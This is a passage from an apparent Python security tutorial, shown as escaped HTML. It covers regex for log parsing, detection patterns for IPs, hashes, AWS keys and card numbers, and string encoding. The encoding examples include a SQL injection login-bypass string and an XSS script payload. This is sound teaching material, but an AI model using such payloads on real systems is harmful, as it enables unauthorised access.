&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Valid IP format&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# re.sub — replace
&lt;/span&gt;&lt;span class="n"&gt;clean&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password=\S+&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password=REDACTED&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;db_password=s3cr3t123&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                           &lt;span class="c1"&gt;# db_password=REDACTED
&lt;/span&gt;
&lt;span class="c1"&gt;# re.split — split on pattern
&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[\s,;]+&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1, 10.0.0.1; 172.16.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                           &lt;span class="c1"&gt;# ['192.168.1.1', '10.0.0.1', '172.16.0.1']
&lt;/span&gt;
&lt;span class="c1"&gt;# Groups — extract parts of a pattern
&lt;/span&gt;&lt;span class="n"&gt;log_line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;May 29 10:00:01 server sshd[1234]: Accepted publickey for john from 10.10.14.5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Accepted \w+ for (\w+) from ([\d.]+)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;log_line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;# john
&lt;/span&gt;    &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;               &lt;span class="c1"&gt;# 10.10.14.5
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; logged in from &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Named groups — cleaner code
&lt;/span&gt;&lt;span class="n"&gt;pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Accepted \w+ for (?P&amp;lt;user&amp;gt;\w+) from (?P&amp;lt;ip&amp;gt;[\d.]+)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;log_line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;         &lt;span class="c1"&gt;# john
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;           &lt;span class="c1"&gt;# 10.10.14.5
&lt;/span&gt;
&lt;span class="c1"&gt;# Compile pattern for reuse (performance)
&lt;/span&gt;&lt;span class="n"&gt;ip_pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b(?:\d{1,3}\.){3}\d{1,3}\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Now use: ip_pattern.search(), ip_pattern.findall(), etc.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 Essential Regex Patterns for Security Work
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;

&lt;span class="n"&gt;patterns&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;# Network
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ipv4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ipv6&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mac&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?:[0-9a-fA-F]{2}[:-]){5}[0-9a-fA-F]{2}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;url&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+[/\w .?=%&amp;amp;-]*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;domain&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

    &lt;span class="c1"&gt;# Credentials
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;base64&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

    &lt;span class="c1"&gt;# Hash patterns
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;md5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b[a-fA-F0-9]{32}\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b[a-fA-F0-9]{40}\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b[a-fA-F0-9]{64}\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ntlm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b[a-fA-F0-9]{32}\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;# Same as MD5 format
&lt;/span&gt;
    &lt;span class="c1"&gt;# Credit card (for DLP testing)
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;credit_card&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b(?:\d{4}[-\s]?){3}\d{4}\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

    &lt;span class="c1"&gt;# AWS
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;aws_key&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;AKIA[0-9A-Z]{16}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;aws_secret&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?&amp;lt;![A-Z0-9])[A-Za-z0-9/+]{40}(?![A-Za-z0-9/+])&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Usage example: extract IOCs from text
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;extract_iocs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ips&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patterns&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ipv4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;domains&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patterns&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;domain&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;emails&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patterns&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;md5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patterns&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;md5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patterns&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;urls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patterns&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;url&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 String Encoding and Decoding for Security Work
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;binascii&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;html&lt;/span&gt;

&lt;span class="c1"&gt;# Base64
&lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;secret payload&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;   &lt;span class="c1"&gt;# String output
&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                       &lt;span class="c1"&gt;# Bytes output
&lt;/span&gt;
&lt;span class="c1"&gt;# URL encoding/decoding
&lt;/span&gt;&lt;span class="n"&gt;url_encoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE name=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# SELECT%20%2A%20FROM%20users%20WHERE%20name%3D%27admin%27
&lt;/span&gt;&lt;span class="n"&gt;decoded_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unquote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url_encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# URL encoding for POST data
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib.parse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urlencode&lt;/span&gt;
&lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; OR &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;anything&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;encoded_params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlencode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# HTML encoding/decoding
&lt;/span&gt;&lt;span class="n"&gt;html_encoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;escape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;script&amp;gt;alert(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;XSS&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# &amp;amp;lt;script&amp;amp;gt;alert(&amp;amp;#x27;XSS&amp;amp;#x27;)&amp;amp;lt;/script&amp;amp;gt;
&lt;/span&gt;&lt;span class="n"&gt;decoded_html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html_encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Hex encoding
